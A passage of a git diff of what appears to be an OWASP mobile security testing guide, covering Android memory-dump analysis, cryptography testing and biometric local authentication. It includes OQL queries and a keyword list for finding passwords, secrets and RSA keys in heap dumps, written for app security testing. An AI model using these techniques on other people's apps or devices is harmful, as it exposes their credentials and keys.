memory-mat.hprof -``` - -MAT provides several tools for analyzing the memory dump. For example, the _Histogram_ provides an estimate of the number of objects that have been captured from a given type, and the _Thread Overview_ shows processes' threads and stack frames. The _Dominator Tree_ provides information about keep-alive dependencies between objects. You can use regular expressions to filter the results these tools provide. - -_Object Query Language_ studio is a MAT feature that allows you to query objects from the memory dump with an SQL-like language. The tool allows you to transform simple objects by invoking Java methods on them, and it provides an API for building sophisticated tools on top of the MAT. - -```sql -SELECT * FROM java.lang.String -``` - -In the example above, all `String` objects present in the memory dump will be selected. The results will include the object's class, memory address, value, and retain count. To filter this information and see only the value of each string, use the following code: - -```sql -SELECT toString(object) FROM java.lang.String object -``` - -Or - -```sql -SELECT object.toString() FROM java.lang.String object -``` - -SQL supports primitive data types as well, so you can do something like the following to access the content of all `char` arrays: - -```sql -SELECT toString(arr) FROM char[] arr -``` - -Don't be surprised if you get results that are similar to the previous results; after all, `String` and other Java data types are just wrappers around primitive data types. Now let's filter the results. The following sample code will select all byte arrays that contain the ASN.1 OID of an RSA key. This doesn't imply that a given byte array actually contains an RSA (the same byte sequence may be part of something else), but this is probable. - -```sql -SELECT * FROM byte[] b WHERE toString(b).matches(".*1\.2\.840\.113549\.1\.1\.1.*") -``` - -Finally, you don't have to select whole objects. Consider an SQL analogy: classes are tables, objects are rows, and fields are columns. If you want to find all objects that have a "password" field, you can do something like the following: - -```sql -SELECT password FROM ".*" WHERE (null != password) -``` - -During your analysis, search for: - -- Indicative field names: "password", "pass", "pin", "secret", "private", etc. -- Indicative patterns (e.g., RSA footprints) in strings, char arrays, byte arrays, etc. -- Known secrets (e.g., a credit card number that you've entered or an authentication token provided by the backend) -- etc. - -Repeating tests and memory dumps will help you obtain statistics about the length of data exposure. Furthermore, observing the way a particular memory segment (e.g., a byte array) changes may lead you to some otherwise unrecognizable sensitive data (more on this in the "Remediation" section below). - -## Testing the Device-Access-Security Policy (MSTG-STORAGE-11) - -### Overview - -Apps that process or query sensitive information should run in a trusted and secure environment. To create this environment, the app can check the device for the following: - -- PIN- or password-protected device locking -- Recent Android OS version -- USB Debugging activation -- Device encryption -- Device rooting (see also "Testing Root Detection") - -### Static Analysis - -To test the device-access-security policy that the app enforces, a written copy of the policy must be provided. The policy should define available checks and their enforcement. For example, one check could require that the app run only on Android 6.0 (API level 23) or a more recent version, closing the app or displaying a warning if the Android version is less than 6.0. - -Check the source code for functions that implement the policy and determine whether it can be bypassed. - -You can implement checks on the Android device by querying [_Settings.Secure_](https://developer.android.com/reference/android/provider/Settings.Secure.html "Settings.Secure") for system preferences. [_Device Administration API_](https://developer.android.com/guide/topics/admin/device-admin.html "Device Administration API") offers techniques for creating applications that can enforce password policies and device encryption. - -### Dynamic Analysis - -The dynamic analysis depends on the checks enforced by the app and their expected behavior. If the checks can be bypassed, they must be validated. - -## References - -### OWASP MASVS - -- MSTG-STORAGE-1: "System credential storage facilities need to be used to store sensitive data, such as PII, user credentials or cryptographic keys." -- MSTG-STORAGE-2: "No sensitive data should be stored outside of the app container or system credential storage facilities." -- MSTG-STORAGE-3: "No sensitive data is written to application logs." -- MSTG-STORAGE-4: "No sensitive data is shared with third parties unless it is a necessary part of the architecture." -- MSTG-STORAGE-5: "The keyboard cache is disabled on text inputs that process sensitive data." -- MSTG-STORAGE-6: "No sensitive data is exposed via IPC mechanisms." -- MSTG-STORAGE-7: "No sensitive data, such as passwords or pins, is exposed through the user interface." -- MSTG-STORAGE-8: "No sensitive data is included in backups generated by the mobile operating system." -- MSTG-STORAGE-9: "The app removes sensitive data from views when moved to the background." -- MSTG-STORAGE-10: "The app does not hold sensitive data in memory longer than necessary, and memory is cleared explicitly after use." -- MSTG-STORAGE-11: "The app enforces a minimum device-access-security policy, such as requiring the user to set a device passcode." -- MSTG-PLATFORM-2: "All inputs from external sources and the user are validated and if necessary sanitized. This includes data received via the UI, IPC mechanisms such as intents, custom URLs, and network sources." - -### Libraries - -- [Java AES Crypto](https://github.com/tozny/java-aes-crypto "Java AES Crypto") -- [SQL Cipher](https://www.zetetic.net/sqlcipher/sqlcipher-for-android "SQL Cipher for Android") -- [Secure Preferences](https://github.com/scottyab/secure-preferences "Secure Preferences") -- [Themis](https://github.com/cossacklabs/themis "Themis cryptographic library") diff --git a/Document/0x05e-Testing-Cryptography.md b/Document/0x05e-Testing-Cryptography.md index 9568ab4192..cb6fd2362b 100644 --- a/Document/0x05e-Testing-Cryptography.md +++ b/Document/0x05e-Testing-Cryptography.md @@ -1,3 +1,8 @@ +--- +masvs_category: MASVS-CRYPTO +platform: android +--- + # Android Cryptographic APIs ## Overview @@ -31,18 +36,18 @@ These phases are managed by the Keystore/KeyChain system. However how the system Apps that target modern API levels, went through the following changes: - For Android 7.0 (API level 24) and above [the Android Developer blog shows that](https://android-developers.googleblog.com/2016/06/security-crypto-provider-deprecated-in.html "Security provider Crypto deprecated in Android N"): - - It is recommended to stop specifying a security provider. Instead, always use a [patched security provider](0x05e-Testing-Cryptography.md#updating-provider). - - The support for the `Crypto` provider has dropped and the provider is deprecated. The same applies to its `SHA1PRNG` for secure random. + - It is recommended to stop specifying a security provider. Instead, always use a [patched security provider](0x05e-Testing-Cryptography.md#updating-provider). + - The support for the `Crypto` provider has dropped and the provider is deprecated. The same applies to its `SHA1PRNG` for secure random. - For Android 8.1 (API level 27) and above the [Developer Documentation](https://developer.android.com/about/versions/oreo/android-8.1 "Cryptography updates") shows that: - - Conscrypt, known as `AndroidOpenSSL`, is preferred above using Bouncy Castle and it has new implementations: `AlgorithmParameters:GCM` , `KeyGenerator:AES`, `KeyGenerator:DESEDE`, `KeyGenerator:HMACMD5`, `KeyGenerator:HMACSHA1`, `KeyGenerator:HMACSHA224`, `KeyGenerator:HMACSHA256`, `KeyGenerator:HMACSHA384`, `KeyGenerator:HMACSHA512`, `SecretKeyFactory:DESEDE`, and `Signature:NONEWITHECDSA`. - - You should not use the `IvParameterSpec.class` anymore for GCM, but use the `GCMParameterSpec.class` instead. - - Sockets have changed from `OpenSSLSocketImpl` to `ConscryptFileDescriptorSocket`, and `ConscryptEngineSocket`. - - `SSLSession` with null parameters give a `NullPointerException`. - - You need to have large enough arrays as input bytes for generating a key otherwise, an `InvalidKeySpecException` is thrown. - - If a Socket read is interrupted, you get a `SocketException`. + - Conscrypt, known as `AndroidOpenSSL`, is preferred above using Bouncy Castle and it has new implementations: `AlgorithmParameters:GCM` , `KeyGenerator:AES`, `KeyGenerator:DESEDE`, `KeyGenerator:HMACMD5`, `KeyGenerator:HMACSHA1`, `KeyGenerator:HMACSHA224`, `KeyGenerator:HMACSHA256`, `KeyGenerator:HMACSHA384`, `KeyGenerator:HMACSHA512`, `SecretKeyFactory:DESEDE`, and `Signature:NONEWITHECDSA`. + - You should not use the `IvParameterSpec.class` anymore for GCM, but use the `GCMParameterSpec.class` instead. + - Sockets have changed from `OpenSSLSocketImpl` to `ConscryptFileDescriptorSocket`, and `ConscryptEngineSocket`. + - `SSLSession` with null parameters give a `NullPointerException`. + - You need to have large enough arrays as input bytes for generating a key otherwise, an `InvalidKeySpecException` is thrown. + - If a Socket read is interrupted, you get a `SocketException`. - For Android 9 (API level 28) and above the [Android Developer Blog](https://android-developers.googleblog.com/2018/03/cryptography-changes-in-android-p.html "Cryptography Changes in Android P") shows even more changes: - - You get a warning if you still specify a security provider using the `getInstance` method and you target any API below 28. If you target Android 9 (API level 28) or above, you get an error. - - The `Crypto` security provider is now removed. Calling it will result in a `NoSuchProviderException`. + - You get a warning if you still specify a security provider using the `getInstance` method and you target any API below 28. If you target Android 9 (API level 28) or above, you get an error. + - The `Crypto` security provider is now removed. Calling it will result in a `NoSuchProviderException`. - For Android 10 (API level 29) the [Developer Documentation](https://developer.android.com/about/versions/10/behavior-changes-all#security "Security Changes in Android 10") lists all network security changes. ### General Recommendations @@ -106,7 +111,7 @@ provider: AndroidKeyStore 1.0(Android KeyStore security provider) #### Updating security provider -Keeping up-to-date and patched component is one of security principles. The same applies to `provider`. Application should check if used security provider is up-to-date and if not, [update it](https://developer.android.com/training/articles/security-gms-provider "Updating security provider"). It is related to [Checking for Weaknesses in Third Party Libraries (MSTG-CODE-5)](0x05i-Testing-Code-Quality-and-Build-Settings.md#checking-for-weaknesses-in-third-party-libraries). +Keeping up-to-date and patched component is one of security principles. The same applies to `provider`. Application should check if used security provider is up-to-date and if not, [update it](https://developer.android.com/training/articles/security-gms-provider "Updating security provider"). #### Older Android versions @@ -251,161 +256,3 @@ Cryptography requires secure pseudo random number generation (PRNG). Standard Ja In general, `SecureRandom` should be used. However, if the Android versions below Android 4.4 (API level 19) are supported, additional care needs to be taken in order to work around the bug in Android 4.1-4.3 (API level 16-18) versions that [failed to properly initialize the PRNG](https://android-developers.googleblog.com/2013/08/some-securerandom-thoughts.html "Some SecureRandom Thoughts"). Most developers should instantiate `SecureRandom` via the default constructor without any arguments. Other constructors are for more advanced uses and, if used incorrectly, can lead to decreased randomness and security. The PRNG provider backing `SecureRandom` uses the `SHA1PRNG` from `AndroidOpenSSL` (Conscrypt) provider. - -## Testing Symmetric Cryptography (MSTG-CRYPTO-1) - -### Static Analysis - -Identify all the instances of symmetric key encryption in code and look for any mechanism which loads or provides a symmetric key. You can look for: - -- symmetric algorithms (such as `DES`, `AES`, etc.) -- specifications for a key generator (such as `KeyGenParameterSpec`, `KeyPairGeneratorSpec`, `KeyPairGenerator`, `KeyGenerator`, `KeyProperties`, etc.) -- classes importing `java.security.*`, `javax.crypto.*`, `android.security.*`, `android.security.keystore.*` - -Check also the [list of common cryptographic configuration issues](0x04g-Testing-Cryptography.md#common-configuration-issues). - -For each identified instance verify if the used symmetric keys: - -- are not part of the application resources -- cannot be derived from known values -- are not hardcoded in code - -For each hardcoded symmetric key, verify that is not used in security-sensitive contexts as the only method of encryption. - -As an example we illustrate how to locate the use of a hardcoded encryption key. First [disassemble and decompile](0x05c-Reverse-Engineering-and-Tampering.md#disassembling-and-decompiling) the app to obtain Java code, e.g. by using [jadx](0x08a-Testing-Tools.md#jadx). - -Now search the files for the usage of the `SecretKeySpec` class, e.g. by simply recursively grepping on them or using jadx search function: - -```bash -grep -r "SecretKeySpec" -``` - -This will return all classes using the `SecretKeySpec` class. Now examine those files and trace which variables are used to pass the key material. The figure below shows the result of performing this assessment on a production ready application. We can clearly locate the use of a static encryption key that is hardcoded and initialized in the static byte array `Encrypt.keyBytes`. - - - -### Dynamic Analysis - -You can use [method tracing](0x05c-Reverse-Engineering-and-Tampering.md#method-tracing) on cryptographic methods to determine input / output values such as the keys that are being used. Monitor file system access while cryptographic operations are being performed to assess where key material is written to or read from. For example, monitor the file system by using the [API monitor](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security#8-api-monitor---android-only) of [RMS - Runtime Mobile Security](0x08a-Testing-Tools.md#RMS-Runtime-Mobile-Security). - -## Testing the Configuration of Cryptographic Standard Algorithms (MSTG-CRYPTO-2, MSTG-CRYPTO-3 and MSTG-CRYPTO-4) - -### Static Analysis - -Identify all the instances of the cryptographic primitives in code. Identify all custom cryptography implementations. You can look for: - -- classes `Cipher`, `Mac`, `MessageDigest`, `Signature` -- interfaces `Key`, `PrivateKey`, `PublicKey`, `SecretKey` -- functions `getInstance`, `generateKey` -- exceptions `KeyStoreException`, `CertificateException`, `NoSuchAlgorithmException` -- classes which uses `java.security.*`, `javax.crypto.*`, `android.security.*` and `android.security.keystore.*` packages. - -Identify that all calls to getInstance use default `provider` of security services by not specifying it (it means AndroidOpenSSL aka Conscrypt). `Provider` can only be specified in `KeyStore` related code (in that situation `KeyStore` should be provided as `provider`). If other `provider` is specified it should be verified according to situation and business case (i.e. Android API version), and `provider` should be examined against potential vulnerabilities. - -Ensure that the best practices outlined in the "[Cryptography for Mobile Apps](0x04g-Testing-Cryptography.md)" chapter are followed. Look at [insecure and deprecated algorithms](0x04g-Testing-Cryptography.md#identifying-insecure-and/or-deprecated-cryptographic-algorithms) and [common configuration issues](0x04g-Testing-Cryptography.md#common-configuration-issues). - -### Dynamic Analysis - -You can use [method tracing](0x05c-Reverse-Engineering-and-Tampering.md#method-tracing) on cryptographic methods to determine input / output values such as the keys that are being used. Monitor file system access while cryptographic operations are being performed to assess where key material is written to or read from. For example, monitor the file system by using the [API monitor](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security#8-api-monitor---android-only) of [RMS - Runtime Mobile Security](0x08a-Testing-Tools.md#RMS-Runtime-Mobile-Security). - -## Testing the Purposes of Keys (MSTG-CRYPTO-5) - -### Static Analysis - -Identify all instances where cryptography is used. You can look for: - -- classes `Cipher`, `Mac`, `MessageDigest`, `Signature` -- interfaces `Key`, `PrivateKey`, `PublicKey`, `SecretKey` -- functions `getInstance`, `generateKey` -- exceptions `KeyStoreException`, `CertificateException`, `NoSuchAlgorithmException` -- classes importing `java.security.*`, `javax.crypto.*`, `android.security.*`, `android.security.keystore.*` - -For each identified instance, identify its purpose and its type. It can be used: - -- for encryption/decryption - to ensure data confidentiality -- for signing/verifying - to ensure integrity of data (as well as accountability in some cases) -- for maintenance - to protect keys during certain sensitive operations (such as being imported to the KeyStore) - -Additionally, you should identify the business logic which uses identified instances of cryptography. - -During verification the following checks should be performed: - -- are all keys used according to the purpose defined during its creation? (it is relevant to KeyStore keys, which can have KeyProperties defined) -- for asymmetric keys, is the private key being exclusively used for signing and the public key encryption? -- are symmetric keys used for multiple purposes? A new symmetric key should be generated if it's used in a different context. -- is cryptography used according to its business purpose? - -### Dynamic Analysis - -You can use [method tracing](0x05c-Reverse-Engineering-and-Tampering.md#method-tracing) on cryptographic methods to determine input / output values such as the keys that are being used. Monitor file system access while cryptographic operations are being performed to assess where key material is written to or read from. For example, monitor the file system by using the [API monitor](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security#8-api-monitor---android-only) of [RMS - Runtime Mobile Security](0x08a-Testing-Tools.md#RMS-Runtime-Mobile-Security). - -## Testing Random Number Generation (MSTG-CRYPTO-6) - -### Static Analysis - -Identify all the instances of random number generators and look for either custom or well-known insecure classes. For instance, `java.util.Random` produces an identical sequence of numbers for each given seed value; consequently, the sequence of numbers is predictable. Instead a well-vetted algorithm should be chosen that is currently considered to be strong by experts in the field, and a well-tested implementations with adequate length seeds should be used. - -Identify all instances of `SecureRandom` that are not created using the default constructor. Specifying the seed value may reduce randomness. Prefer the [no-argument constructor of `SecureRandom`](https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers "Generation of Strong Random Numbers") that uses the system-specified seed value to generate a 128-byte-long random number. - -In general, if a PRNG is not advertised as being cryptographically secure (e.g. `java.util.Random`), then it is probably a statistical PRNG and should not be used in security-sensitive contexts. -Pseudo-random number generators [can produce predictable numbers](https://www.securecoding.cert.org/confluence/display/java/MSC63-J.+Ensure+that+SecureRandom+is+properly+seeded "Proper seeding of SecureRandom") if the generator is known and the seed can be guessed. A 128-bit seed is a good starting point for producing a "random enough" number. - -Once an attacker knows what type of weak pseudo-random number generator (PRNG) is used, it can be trivial to write a proof-of-concept to generate the next random value based on previously observed ones, as it was [done for Java Random](https://franklinta.com/2014/08/31/predicting-the-next-math-random-in-java/ "Predicting the next Math.random() in Java"). In case of very weak custom random generators it may be possible to observe the pattern statistically. Although the recommended approach would anyway be to decompile the APK and inspect the algorithm (see Static Analysis). - -If you want to test for randomness, you can try to capture a large set of numbers and check with the Burp's [sequencer](https://portswigger.net/burp/documentation/desktop/tools/sequencer "Burp\'s Sequencer") to see how good the quality of the randomness is. - -### Dynamic Analysis - -You can use [method tracing](0x05c-Reverse-Engineering-and-Tampering.md#method-tracing) on the mentioned classes and methods to determine input / output values being used. - -## References - -- [#nelenkov] - N. Elenkov, Android Security Internals, No Starch Press, 2014, Chapter 5. - -### Cryptography references - -- Android Developer blog: Changes for NDK Developers - -- Android Developer blog: Crypto Provider Deprecated - -- Android Developer blog: Cryptography Changes in Android P - -- Android Developer blog: Some SecureRandom Thoughts - -- Android Developer documentation - -- BSI Recommendations - -- Ida Pro - -- Legion of the Bouncy Castle - -- NIST Key Length Recommendations - -- Security Providers - -- Spongy Castle - - -### SecureRandom references - -- BurpProxy Sequencer - -- Proper Seeding of SecureRandom - - -### Testing Key Management references - -- Android Keychain API - -- Android KeyStore API - -- Android Keystore system - -- Android Pie features and APIs - -- KeyInfo Documentation - -- SharedPreferences - - -### Key Attestation References - -- Android Key Attestation - -- Attestation and Assertion - -- FIDO Alliance TechNotes - -- FIDO Alliance Whitepaper - -- Google Sample Codes - -- Verifying Android Key Attestation - -- W3C Android Key Attestation - - -#### OWASP MASVS - -- MSTG-STORAGE-1: "System credential storage facilities need to be used to store sensitive data, such as PII, user credentials or cryptographic keys." -- MSTG-CRYPTO-1: "The app does not rely on symmetric cryptography with hardcoded keys as a sole method of encryption." -- MSTG-CRYPTO-2: "The app uses proven implementations of cryptographic primitives." -- MSTG-CRYPTO-3: "The app uses cryptographic primitives that are appropriate for the particular use-case, configured with parameters that adhere to industry best practices." -- MSTG-CRYPTO-4: "The app does not use cryptographic protocols or algorithms that are widely considered deprecated for security purposes." -- MSTG-CRYPTO-5: "The app doesn't re-use the same cryptographic key for multiple purposes." -- MSTG-CRYPTO-6: "All random values are generated using a sufficiently secure random number generator." diff --git a/Document/0x05f-Testing-Local-Authentication.md b/Document/0x05f-Testing-Local-Authentication.md index 7d8c1af1ba..82f67369d1 100644 --- a/Document/0x05f-Testing-Local-Authentication.md +++ b/Document/0x05f-Testing-Local-Authentication.md @@ -1,326 +1,296 @@ -# Android Local Authentication - -## Overview - -During local authentication, an app authenticates the user against credentials stored locally on the device. In other words, the user "unlocks" the app or some inner layer of functionality by providing a valid PIN, password or biometric characteristics such as face or fingerprint, which is verified by referencing local data. Generally, this is done so that users can more conveniently resume an existing session with a remote service or as a means of step-up authentication to protect some critical function. - -As stated before in chapter "[Mobile App Authentication Architectures](0x04e-Testing-Authentication-and-Session-Management.md)": The tester should be aware that local authentication should always be enforced at a remote endpoint or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process. - -On Android, there are two mechanisms supported by the Android Runtime for local authentication: the Confirm Credential flow and the Biometric Authentication flow. - -### Confirm Credential Flow - -The confirm credential flow is available since Android 6.0 and is used to ensure that users do not have to enter app-specific passwords together with the lock screen protection. Instead: if a user has logged in to the device recently, then confirm-credentials can be used to unlock cryptographic materials from the `AndroidKeystore`. That is, if the user unlocked the device within the set time limits (`setUserAuthenticationValidityDurationSeconds`), otherwise the device needs to be unlocked again. - -Note that the security of Confirm Credentials is only as strong as the protection set at the lock screen. This often means that simple predictive lock-screen patterns are used and therefore we do not recommend any apps which require L2 of security controls to use Confirm Credentials. - -### Biometric Authentication Flow - -Biometric authentication is a convenient mechanism for authentication, but also introduces an additional attack surface when using it. The Android developer documentation gives an interesting overview and indicators for [measuring biometric unlock security](https://source.android.com/security/biometric/measure#strong-weak-unlocks "Measuring Biometric Unlock Security"). - -The Android platform offers three different classes for biometric authentication: - -- Android 10 (API level 29) and higher: `BiometricManager` -- Android 9 (API level 28) and higher: `BiometricPrompt` -- Android 6.0 (API level 23) and higher: `FingerprintManager` (deprecated in Android 9 (API level 28)) - - - -The class [`BiometricManager`](https://developer.android.com/reference/kotlin/android/hardware/biometrics/BiometricManager "BiometricManager") can be used to verify if biometric hardware is available on the device and if it's configured by the user. If that's the case, the class [`BiometricPrompt`](https://developer.android.com/reference/kotlin/android/hardware/biometrics/BiometricPrompt "BiometricPrompt") can be used to show a system-provided biometric dialog. - -The `BiometricPrompt` class is a significant improvement, as it allows to have a consistent UI for biometric authentication on Android and also supports more sensors than just fingerprint. - -This is different to the `FingerprintManager` class which only supports fingerprint sensors and provides no UI, forcing developers to build their own fingerprint UI. - -A very detailed overview and explanation of the Biometric API on Android was published on the [Android Developer Blog](https://android-developers.googleblog.com/2019/10/one-biometric-api-over-all-android.html "One Biometric API Over all Android"). - -### FingerprintManager (deprecated in Android 9 (API level 28)) - -Android 6.0 (API level 23) introduced public APIs for authenticating users via fingerprint, but is deprecated in Android 9 (API level 28). Access to the fingerprint hardware is provided through the [`FingerprintManager`](https://developer.android.com/reference/android/hardware/fingerprint/ "FingerprintManager") class. An app can request fingerprint authentication by instantiating a `FingerprintManager` object and calling its `authenticate` method. The caller registers callback methods to handle possible outcomes of the authentication process (i.e. success, failure, or error). Note that this method doesn't constitute strong proof that fingerprint authentication has actually been performed - for example, the authentication step could be patched out by an attacker, or the "success" callback could be overloaded using dynamic instrumentation. - -You can achieve better security by using the fingerprint API in conjunction with the Android `KeyGenerator` class. With this approach, a symmetric key is stored in the Android KeyStore and unlocked with the user's fingerprint. For example, to enable user access to a remote service, an AES key is created which encrypts the authentication token. By calling `setUserAuthenticationRequired(true)` when creating the key, it is ensured that the user must re-authenticate to retrieve it. The encrypted authentication token can then be saved directly on the device (e.g. via Shared Preferences). This design is a relatively safe way to ensure the user actually entered an authorized fingerprint. - -An even more secure option is using asymmetric cryptography. Here, the mobile app creates an asymmetric key pair in the KeyStore and enrolls the public key on the server backend. Later transactions are then signed with the private key and verified by the server using the public key. - -### Biometric Library - -Android provides a library called [Biometric](https://developer.android.com/jetpack/androidx/releases/biometric "Biometric library for Android") which offers a compatibility version of the `BiometricPrompt` and `BiometricManager` APIs, as implemented in Android 10, with full feature support back to Android 6.0 (API 23). - -You can find a reference implementation and instructions on how to [show a biometric authentication dialog](https://developer.android.com/training/sign-in/biometric-auth "Show a biometric authentication dialog") in the Android developer documentation. - -There are two `authenticate` methods available in the `BiometricPrompt` class. One of them expects a [`CryptoObject`](https://developer.android.com/reference/android/hardware/biometrics/BiometricPrompt.CryptoObject.html "CryptoObject"), which adds an additional layer of security for the biometric authentication. - -The authentication flow would be as follows when using CryptoObject: - -- The app creates a key in the KeyStore with `setUserAuthenticationRequired` and `setInvalidatedByBiometricEnrollment` set to true. Additionally, `setUserAuthenticationValidityDurationSeconds` should be set to -1. -- This key is used to encrypt information that is authenticating the user (e.g. session information or authentication token). -- A valid set of biometrics must be presented before the key is released from the KeyStore to decrypt the data, which is validated through the `authenticate` method and the `CryptoObject`. -- This solution cannot be bypassed, even on rooted devices, as the key from the KeyStore can only be used after successful biometric authentication. - -If `CryptoObject` is not used as part of the authenticate method, it can be bypassed by using Frida. See the "Dynamic Instrumentation" section for more details. - -Developers can use several [validation classes](https://source.android.com/security/biometric#validation "Validation of Biometric Auth") offered by Android to test the implementation of biometric authentication in their app. - -### FingerprintManager - -> This section describes how to implement biometric authentication by using the `FingerprintManager` class. Please keep in mind that this class is deprecated and the [Biometric library](https://developer.android.com/jetpack/androidx/releases/biometric "Biometric library for Android") should be used instead as a best practice. This section is just for reference, in case you come across such an implementation and need to analyze it. - -Begin by searching for `FingerprintManager.authenticate` calls. The first parameter passed to this method should be a `CryptoObject` instance which is a [wrapper class for crypto objects](https://developer.android.com/reference/android/hardware/fingerprint/FingerprintManager.CryptoObject.html "FingerprintManager.CryptoObject") supported by FingerprintManager. Should the parameter be set to `null`, this means the fingerprint authorization is purely event-bound, likely creating a security issue. - -The creation of the key used to initialize the cipher wrapper can be traced back to the `CryptoObject`. Verify the key was both created using the `KeyGenerator` class in addition to `setUserAuthenticationRequired(true)` being called during creation of the `KeyGenParameterSpec` object (see code samples below). - -Make sure to verify the authentication logic. For the authentication to be successful, the remote endpoint **must** require the client to present the secret retrieved from the KeyStore, a value derived from the secret, or a value signed with the client private key (see above). - -Safely implementing fingerprint authentication requires following a few simple principles, starting by first checking if that type of authentication is even available. On the most basic front, the device must run Android 6.0 or higher (API 23+). Four other prerequisites must also be verified: - -- The permission must be requested in the Android Manifest: - - ```xml - - ``` - -- Fingerprint hardware must be available: - - ```java - FingerprintManager fingerprintManager = (FingerprintManager) - context.getSystemService(Context.FINGERPRINT_SERVICE); - fingerprintManager.isHardwareDetected(); - ``` - -- The user must have a protected lock screen: - - ```java - KeyguardManager keyguardManager = (KeyguardManager) context.getSystemService(Context.KEYGUARD_SERVICE); - keyguardManager.isKeyguardSecure(); //note if this is not the case: ask the user to setup a protected lock screen - ``` - -- At least one finger should be registered: - - ```java - fingerprintManager.hasEnrolledFingerprints(); - ``` - -- The application should have permission to ask for a user fingerprint: - - ```java - context.checkSelfPermission(Manifest.permission.USE_FINGERPRINT) == PermissionResult.PERMISSION_GRANTED; - ``` - -If any of the above checks fail, the option for fingerprint authentication should not be offered. - -It is important to remember that not every Android device offers hardware-backed key storage. The `KeyInfo` class can be used to find out whether the key resides inside secure hardware such as a Trusted Execution Environment (TEE) or Secure Element (SE). - -```java -SecretKeyFactory factory = SecretKeyFactory.getInstance(getEncryptionKey().getAlgorithm(), ANDROID_KEYSTORE); -KeyInfo secetkeyInfo = (KeyInfo) factory.getKeySpec(yourencryptionkeyhere, KeyInfo.class); -secetkeyInfo.isInsideSecureHardware() -``` - -On certain systems, it is possible to enforce the policy for biometric authentication through hardware as well. This is checked by: - -```java -keyInfo.isUserAuthenticationRequirementEnforcedBySecureHardware(); -``` - -The following describes how to do fingerprint authentication using a symmetric key pair. - -Fingerprint authentication may be implemented by creating a new AES key using the `KeyGenerator` class by adding `setUserAuthenticationRequired(true)` in `KeyGenParameterSpec.Builder`. - -```java -generator = KeyGenerator.getInstance(KeyProperties.KEY_ALGORITHM_AES, KEYSTORE); - -generator.init(new KeyGenParameterSpec.Builder (KEY_ALIAS, - KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) - .setBlockModes(KeyProperties.BLOCK_MODE_CBC) - .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7) - .setUserAuthenticationRequired(true) - .build() -); - -generator.generateKey(); -``` - -To perform encryption or decryption with the protected key, create a `Cipher` object and initialize it with the key alias. - -```java -SecretKey keyspec = (SecretKey)keyStore.getKey(KEY_ALIAS, null); - -if (mode == Cipher.ENCRYPT_MODE) { - cipher.init(mode, keyspec); -``` - -Keep in mind, a new key cannot be used immediately - it has to be authenticated through the `FingerprintManager` first. This involves wrapping the `Cipher` object into `FingerprintManager.CryptoObject` which is passed to `FingerprintManager.authenticate` before it will be recognized. - -```java -cryptoObject = new FingerprintManager.CryptoObject(cipher); -fingerprintManager.authenticate(cryptoObject, new CancellationSignal(), 0, this, null); -``` - -The callback method `onAuthenticationSucceeded(FingerprintManager.AuthenticationResult result)` is called when the authentication succeeds. The authenticated `CryptoObject` can then be retrieved from the result. - -```java -public void authenticationSucceeded(FingerprintManager.AuthenticationResult result) { - cipher = result.getCryptoObject().getCipher(); - - //(... do something with the authenticated cipher object ...) -} -``` - -The following describes how to do fingerprint authentication using an asymmetric key pair. - -To implement fingerprint authentication using asymmetric cryptography, first create a signing key using the `KeyPairGenerator` class, and enroll the public key with the server. You can then authenticate pieces of data by signing them on the client and verifying the signature on the server. A detailed example for authenticating to remote servers using the fingerprint API can be found in the [Android Developers Blog](https://android-developers.googleblog.com/2015/10/new-in-android-samples-authenticating.html "Authenticating to remote servers using the Fingerprint API"). - -A key pair is generated as follows: - -```java -KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore"); -keyPairGenerator.initialize( - new KeyGenParameterSpec.Builder(MY_KEY, - KeyProperties.PURPOSE_SIGN) - .setDigests(KeyProperties.DIGEST_SHA256) - .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1")) - .setUserAuthenticationRequired(true) - .build()); -keyPairGenerator.generateKeyPair(); -``` - -To use the key for signing, you need to instantiate a CryptoObject and authenticate it through `FingerprintManager`. - -```java -Signature.getInstance("SHA256withECDSA"); -KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore"); -keyStore.load(null); -PrivateKey key = (PrivateKey) keyStore.getKey(MY_KEY, null); -signature.initSign(key); -CryptoObject cryptoObject = new FingerprintManager.CryptoObject(signature); - -CancellationSignal cancellationSignal = new CancellationSignal(); -FingerprintManager fingerprintManager = - context.getSystemService(FingerprintManager.class); -fingerprintManager.authenticate(cryptoObject, cancellationSignal, 0, this, null); -``` - -You can now sign the contents of a byte array `inputBytes` as follows. - -```java -Signature signature = cryptoObject.getSignature(); -signature.update(inputBytes); -byte[] signed = signature.sign(); -``` - -- Note that in cases where transactions are signed, a random nonce should be generated and added to the signed data. Otherwise, an attacker could replay the transaction. -- To implement authentication using symmetric fingerprint authentication, use a challenge-response protocol. - -### Additional Security Features - -Android 7.0 (API level 24) adds the `setInvalidatedByBiometricEnrollment(boolean invalidateKey)` method to `KeyGenParameterSpec.Builder`. When `invalidateKey` value is set to `true` (the default), keys that are valid for fingerprint authentication are irreversibly invalidated when a new fingerprint is enrolled. This prevents an attacker from retrieving they key even if they are able to enroll an additional fingerprint. - -Android 8.0 (API level 26) adds two additional error codes: - -- `FINGERPRINT_ERROR_LOCKOUT_PERMANENT`: The user has tried too many times to unlock their device using the fingerprint reader. -- `FINGERPRINT_ERROR_VENDOR`: A vendor-specific fingerprint reader error occurred. - -### Implementing biometric authentication - -Reassure that the lock screen is set: - -```java -KeyguardManager mKeyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); -if (!mKeyguardManager.isKeyguardSecure()) { - // Show a message that the user hasn't set up a lock screen. -} -``` - -- Create the key protected by the lock screen. In order to use this key, the user needs to have unlocked the device in the last X seconds, or the device needs to be unlocked again. Make sure that this timeout is not too long, as it becomes harder to ensure that it was the same user using the app as the user unlocking the device: - - ```java - try { - KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore"); - keyStore.load(null); - KeyGenerator keyGenerator = KeyGenerator.getInstance( - KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore"); - - // Set the alias of the entry in Android KeyStore where the key will appear - // and the constrains (purposes) in the constructor of the Builder - keyGenerator.init(new KeyGenParameterSpec.Builder(KEY_NAME, - 